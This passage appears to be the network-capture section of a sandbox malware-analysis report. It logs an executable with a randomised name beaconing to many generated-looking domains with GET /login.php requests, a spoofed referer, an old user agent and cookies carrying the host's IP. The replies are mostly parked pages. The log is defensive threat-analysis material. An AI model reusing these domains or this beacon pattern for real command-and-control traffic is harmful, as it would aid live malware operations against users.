21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 28 [TRUNCATED] Data Ascii: a926<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}i
Nov 11, 2024 18:51:13.583087921 CET	146	IN	Data Raw: 66 28 21 28 22 63 6d 70 5f 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3c 31 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3d 30 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 69 64 22 20 69 6e 20 77 69 6e 64 6f Data Ascii: f(!("cmp_id" in window)\|\|window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)
Nov 11, 2024 18:51:13.583098888 CET	1236	IN	Data Raw: 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 61 72 61 6d 73 3d 22 22 7d 69 66 28 21 28 22 63 6d 70 5f 68 6f 73 74 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 68 6f 73 74 3d 22 61 2e 64 65 6c 69 76 65 72 79 2e 63 6f 6e Data Ascii: ){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net"}if(!("cmp_cdn" in window)){window.cmp_cdn="cdn.consentmanager.net"}if(!("cmp_proto" in window)){window.cmp_proto="https:"}if(!("cmp_codesrc" in
Nov 11, 2024 18:51:13.583590031 CET	1236	IN	Data Raw: 2e 70 75 73 68 28 66 2e 73 75 62 73 74 72 28 66 2e 69 6e 64 65 78 4f 66 28 22 63 6d 70 6c 61 6e 67 3d 22 29 2b 38 2c 32 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 29 7d 65 6c 73 65 7b 69 66 28 65 2e 69 6e 64 65 78 4f 66 28 22 63 6d 70 6c 61 6e Data Ascii: .push(f.substr(f.indexOf("cmplang=")+8,2).toUpperCase())}else{if(e.indexOf("cmplang=")!=-1){c.push(e.substr(e.indexOf("cmplang=")+8,2).toUpperCase())}else{if("cmp_setlang" in window&&window.cmp_setlang!=""){c.push(window.cmp_setlang.toUpperCas
Nov 11, 2024 18:51:13.583601952 CET	1236	IN	Data Raw: 73 65 61 72 63 68 2e 73 75 62 73 74 72 28 64 2e 73 65 61 72 63 68 2e 69 6e 64 65 78 4f 66 28 69 29 2b 73 2c 39 39 39 39 29 7d 65 6c 73 65 7b 72 65 74 75 72 6e 20 65 7d 7d 69 66 28 77 2e 69 6e 64 65 78 4f 66 28 22 26 22 29 21 3d 2d 31 29 7b 77 3d Data Ascii: search.substr(d.search.indexOf(i)+s,9999)}else{return e}}if(w.indexOf("&")!=-1){w=w.substr(0,w.indexOf("&"))}return w}var k=("cmp_proto" in h)?h.cmp_proto:"https:";if(k!="http:"&&k!="https:"){k="https:"}var g=("cmp_ref" in h)?h.cmp_ref:locatio
Nov 11, 2024 18:51:13.584451914 CET	1236	IN	Data Raw: 7b 74 3d 76 28 22 64 69 76 22 29 7d 69 66 28 74 2e 6c 65 6e 67 74 68 3d 3d 30 29 7b 74 3d 76 28 22 73 70 61 6e 22 29 7d 69 66 28 74 2e 6c 65 6e 67 74 68 3d 3d 30 29 7b 74 3d 76 28 22 69 6e 73 22 29 7d 69 66 28 74 2e 6c 65 6e 67 74 68 3d 3d 30 29 Data Ascii: {t=v("div")}if(t.length==0){t=v("span")}if(t.length==0){t=v("ins")}if(t.length==0){t=v("script")}if(t.length==0){t=v("head")}if(t.length>0){t[0].appendChild(j)}}}var m="js";var p=x("cmpdebugunminimized","cmpdebugunminimized" in h?h.cmpdebugunm
Nov 11, 2024 18:51:13.584465027 CET	848	IN	Data Raw: 65 22 2c 22 6e 6f 6e 65 22 29 3b 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 2c 22 2d 31 22 29 3b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 7d 65 6c 73 65 7b 77 69 6e 64 6f Data Ascii: e","none");a.setAttribute("tabindex","-1");document.body.appendChild(a)}else{window.setTimeout(window.cmp_addFrame,10,b)}}};window.cmp_rc=function(h){var b=document.cookie;var f="";var d=0;while(b!=""&&d<100){d++;while(b.substr(0,1)==" "){b=b.
Nov 11, 2024 18:51:13.585352898 CET	1236	IN	Data Raw: 64 6f 77 2e 63 6d 70 5f 72 63 28 22 22 29 7d 2c 74 72 75 65 29 7d 65 6c 73 65 7b 69 66 28 61 5b 30 5d 3d 3d 3d 22 67 65 74 54 43 44 61 74 61 22 29 7b 5f 5f 63 6d 70 2e 61 2e 70 75 73 68 28 5b 5d 2e 73 6c 69 63 65 2e 61 70 70 6c 79 28 61 29 29 7d Data Ascii: dow.cmp_rc("")},true)}else{if(a[0]==="getTCData"){__cmp.a.push([].slice.apply(a))}else{if(a[0]==="addEventListener"\|\|a[0]==="removeEventListener"){__cmp.a.push([].slice.apply(a))}else{if(a.length==4&&a[3]===false){a[2]({},false)}else{__cmp.a.p
Nov 11, 2024 18:51:13.585365057 CET	1236	IN	Data Raw: 74 69 6f 6e 73 3a 5b 30 5d 2c 67 70 70 53 74 72 69 6e 67 3a 22 22 2c 70 69 6e 67 44 61 74 61 3a 77 69 6e 64 6f 77 2e 63 6d 70 5f 67 70 70 5f 70 69 6e 67 28 29 7d 7d 65 6c 73 65 7b 69 66 28 67 3d 3d 3d 22 68 61 73 53 65 63 74 69 6f 6e 22 7c 7c 67 Data Ascii: tions:[0],gppString:"",pingData:window.cmp_gpp_ping()}}else{if(g==="hasSection"\|\|g==="getSection"\|\|g==="getField"){return null}else{__gpp.q.push([].slice.apply(a))}}}}}};window.cmp_msghandler=function(d){var a=typeof d.data==="string";try{var
Nov 11, 2024 18:51:13.586185932 CET	1236	IN	Data Raw: 22 29 7d 2c 22 70 61 72 61 6d 65 74 65 72 22 20 69 6e 20 62 3f 62 2e 70 61 72 61 6d 65 74 65 72 3a 6e 75 6c 6c 2c 22 76 65 72 73 69 6f 6e 22 20 69 6e 20 62 3f 62 2e 76 65 72 73 69 6f 6e 3a 31 29 7d 7d 3b 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 65 74 Data Ascii: ")},"parameter" in b?b.parameter:null,"version" in b?b.version:1)}};window.cmp_setStub=function(a){if(!(a in window)\|\|(typeof(window[a])!=="function"&&typeof(window[a])!=="object"&&(typeof(window[a])==="undefined"\|\|window[a]!==null))){window[a
Nov 11, 2024 18:51:13.587841034 CET	1236	IN	Data Raw: 77 29 7c 7c 21 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 69 73 61 62 6c 65 67 70 70 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 65 74 47 70 70 53 74 75 62 28 22 5f 5f 67 70 70 22 29 7d 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d Data Ascii: w)\|\|!window.cmp_disablegpp){window.cmp_setGppStub("__gpp")};</script><script type="text/javascript">var abp;</script><script type="text/javascript" src="http://galyqaz.com/px.js?ch=1"></script><script type="text/javascript" src="http://galyqaz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	50235	3.94.10.34	80	5128	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:13.295645952 CET	353	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lymyxid.com Cookie: snkz=66.23.206.109; btst=3f95d6b3439c1d0f64626ac83ec297f1\|66.23.206.109\|1731347463\|1731347428\|17\|2\|0
Nov 11, 2024 18:51:13.389913082 CET	335	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=3f95d6b3439c1d0f64626ac83ec297f1\|66.23.206.109\|1731347473\|1731347428\|13\|3\|0; path=/; domain=.lymyxid.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	50238	154.212.231.82	80	5128	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:13.406519890 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Nov 11, 2024 18:51:14.291445971 CET	696	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 11 Nov 2024 17:51:14 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	50239	44.221.84.105	80	5128	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:13.424192905 CET	353	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyfuv.com Cookie: snkz=66.23.206.109; btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347465\|1731347428\|10\|3\|0
Nov 11, 2024 18:51:13.851310968 CET	334	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347473\|1731347428\|9\|4\|0; path=/; domain=.qetyfuv.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	50242	44.221.84.105	80	5128	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:13.481998920 CET	353	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vocyzit.com Cookie: snkz=66.23.206.109; btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347465\|1731347428\|18\|2\|0
Nov 11, 2024 18:51:13.909781933 CET	335	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347473\|1731347428\|13\|3\|0; path=/; domain=.vocyzit.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	50241	199.191.50.83	80	6628	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:13.506819963 CET	281	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com Cookie: vsid=903vr478893028933998491
Nov 11, 2024 18:51:15.357505083 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 17:51:13 GMT Server: Apache Referrer-Policy: no-referrer-when-downgrade Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com") X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_NHOnw0G73BscnvIcyf8HaXYxUwB52N5y4R2rV77ldfg6F/P3HTMIgnr4aIPWR/fyPGslgb3huQzNdSH/7sK+hw== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 61 39 38 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 28 [TRUNCATED] Data Ascii: a98a<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}i
Nov 11, 2024 18:51:15.357693911 CET	1236	IN	Data Raw: 66 28 21 28 22 63 6d 70 5f 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3c 31 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3d 30 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 69 64 22 20 69 6e 20 77 69 6e 64 6f Data Ascii: f(!("cmp_id" in window)\|\|window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net
Nov 11, 2024 18:51:15.358042955 CET	1236	IN	Data Raw: 65 64 4c 61 6e 67 73 28 29 3b 76 61 72 20 63 3d 5b 5d 3b 76 61 72 20 66 3d 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 3b 76 61 72 20 65 3d 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 3b 76 61 72 20 61 3d 22 6c 61 6e 67 75 61 67 65 73 22 20 69 6e 20 Data Ascii: edLangs();var c=[];var f=location.hash;var e=location.search;var a="languages" in navigator?navigator.languages:[];if(f.indexOf("cmplang=")!=-1){c.push(f.substr(f.indexOf("cmplang=")+8,2).toUpperCase())}else{if(e.indexOf("cmplang=")!=-1){c.pus
Nov 11, 2024 18:51:15.358055115 CET	1236	IN	Data Raw: 3d 22 22 3b 69 2b 3d 22 3d 22 3b 76 61 72 20 73 3d 69 2e 6c 65 6e 67 74 68 3b 76 61 72 20 64 3d 6c 6f 63 61 74 69 6f 6e 3b 69 66 28 64 2e 68 61 73 68 2e 69 6e 64 65 78 4f 66 28 69 29 21 3d 2d 31 29 7b 77 3d 64 2e 68 61 73 68 2e 73 75 62 73 74 72 Data Ascii: ="";i+="=";var s=i.length;var d=location;if(d.hash.indexOf(i)!=-1){w=d.hash.substr(d.hash.indexOf(i)+s,9999)}else{if(d.search.indexOf(i)!=-1){w=d.search.substr(d.search.indexOf(i)+s,9999)}else{return e}}if(w.indexOf("&")!=-1){w=w.substr(0,w.in
Nov 11, 2024 18:51:15.358808041 CET	1236	IN	Data Raw: 72 72 65 6e 74 53 63 72 69 70 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 7b 75 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6a 29 7d 65 6c 73 65 7b 69 66 28 75 2e Data Ascii: rrentScript.parentElement){u.currentScript.parentElement.appendChild(j)}else{if(u.body){u.body.appendChild(j)}else{var t=v("body");if(t.length==0){t=v("div")}if(t.length==0){t=v("span")}if(t.length==0){t=v("ins")}if(t.length==0){t=v("script")}
Nov 11, 2024 18:51:15.358824015 CET	1236	IN	Data Raw: 69 6e 67 3e 30 29 7b 61 2e 73 72 63 3d 22 2f 2f 22 2b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 6e 2b 22 2f 64 65 6c 69 76 65 72 79 2f 65 6d 70 74 79 2e 68 74 6d 6c 22 7d 61 2e 6e 61 6d 65 3d 62 3b 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 Data Ascii: ing>0){a.src="//"+window.cmp_cdn+"/delivery/empty.html"}a.name=b;a.setAttribute("title","Intentionally hidden, please ignore");a.setAttribute("role","none");a.setAttribute("tabindex","-1");document.body.appendChild(a)}else{window.setTimeout(wi
Nov 11, 2024 18:51:15.359776974 CET	1236	IN	Data Raw: 70 75 73 68 28 5b 5d 2e 73 6c 69 63 65 2e 61 70 70 6c 79 28 61 29 29 7d 7d 7d 7d 7d 7d 7d 3b 77 69 6e 64 6f 77 2e 63 6d 70 5f 67 70 70 5f 70 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 67 70 70 56 65 72 73 69 6f 6e 3a 22 31 Data Ascii: push([].slice.apply(a))}}}}}}};window.cmp_gpp_ping=function(){return{gppVersion:"1.0",cmpStatus:"stub",cmpDisplayStatus:"hidden",supportedAPIs:["tcfca","usnat","usca","usva","usco","usut","usct"],cmpId:31}};window.cmp_gppstub=function(){var a=
Nov 11, 2024 18:51:15.359791040 CET	1236	IN	Data Raw: 20 63 3d 61 3f 4a 53 4f 4e 2e 70 61 72 73 65 28 64 2e 64 61 74 61 29 3a 64 2e 64 61 74 61 7d 63 61 74 63 68 28 66 29 7b 76 61 72 20 63 3d 6e 75 6c 6c 7d 69 66 28 74 79 70 65 6f 66 28 63 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 26 26 63 21 3d 3d 6e 75 Data Ascii: c=a?JSON.parse(d.data):d.data}catch(f){var c=null}if(typeof(c)==="object"&&c!==null&&"__cmpCall" in c){var b=c.__cmpCall;window.__cmp(b.command,b.parameter,function(h,g){var e={__cmpReturn:{returnValue:h,success:g,callId:b.callId}};d.source.p
Nov 11, 2024 18:51:15.360200882 CET	1236	IN	Data Raw: 61 5d 3d 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 75 62 3b 77 69 6e 64 6f 77 5b 61 5d 2e 6d 73 67 48 61 6e 64 6c 65 72 3d 77 69 6e 64 6f 77 2e 63 6d 70 5f 6d 73 67 68 61 6e 64 6c 65 72 3b 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 Data Ascii: a]=window.cmp_stub;window[a].msgHandler=window.cmp_msghandler;window.addEventListener("message",window.cmp_msghandler,false)}};window.cmp_setGppStub=function(a){if(!(a in window)\|\|(typeof(window[a])!=="function"&&typeof(window[a])!=="object"&&
Nov 11, 2024 18:51:15.360213995 CET	1236	IN	Data Raw: 7a 2e 63 6f 6d 2f 70 78 2e 6a 73 3f 63 68 3d 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 6c 65 41 42 50 44 65 74 65 63 74 Data Ascii: z.com/px.js?ch=2"></script><script type="text/javascript">function handleABPDetect(){try{if(!abp) return;var imglog = document.createElement("img");imglog.style.height="0px";imglog.style.width="0px";imglog.src="http://galyqaz.com/sk-logabpstat
Nov 11, 2024 18:51:15.362662077 CET	1236	IN	Data Raw: 2c 75 72 6c 28 22 68 74 74 70 3a 2f 2f 69 34 2e 63 64 6e 2d 69 6d 61 67 65 2e 63 6f 6d 2f 5f 5f 6d 65 64 69 61 5f 5f 2f 66 6f 6e 74 73 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 72 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 Data Ascii: ,url("http://i4.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff2") format("woff2"),url("http://i4.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf") format("truetype"),url("http://i4.cdn-image.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	50244	178.162.203.226	80	5128	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:13.527920008 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	50243	162.255.119.102	80	5128	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:13.540594101 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Nov 11, 2024 18:51:14.030466080 CET	303	IN	HTTP/1.1 302 Found Date: Mon, 11 Nov 2024 17:51:13 GMT Content-Type: text/html; charset=utf-8 Content-Length: 55 Connection: keep-alive Location: http://www.gahyqah.com/login.php X-Served-By: Namecheap URL Forward Server: namecheap-nginx Data Raw: 3c 61 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 61 68 79 71 61 68 2e 63 6f 6d 2f 6c 6f 67 69 6e 2e 70 68 70 27 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href='http://www.gahyqah.com/login.php'>Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	50246	91.195.240.19	80	5128	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:14.274794102 CET	271	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: www.gahyqah.com Connection: Keep-Alive
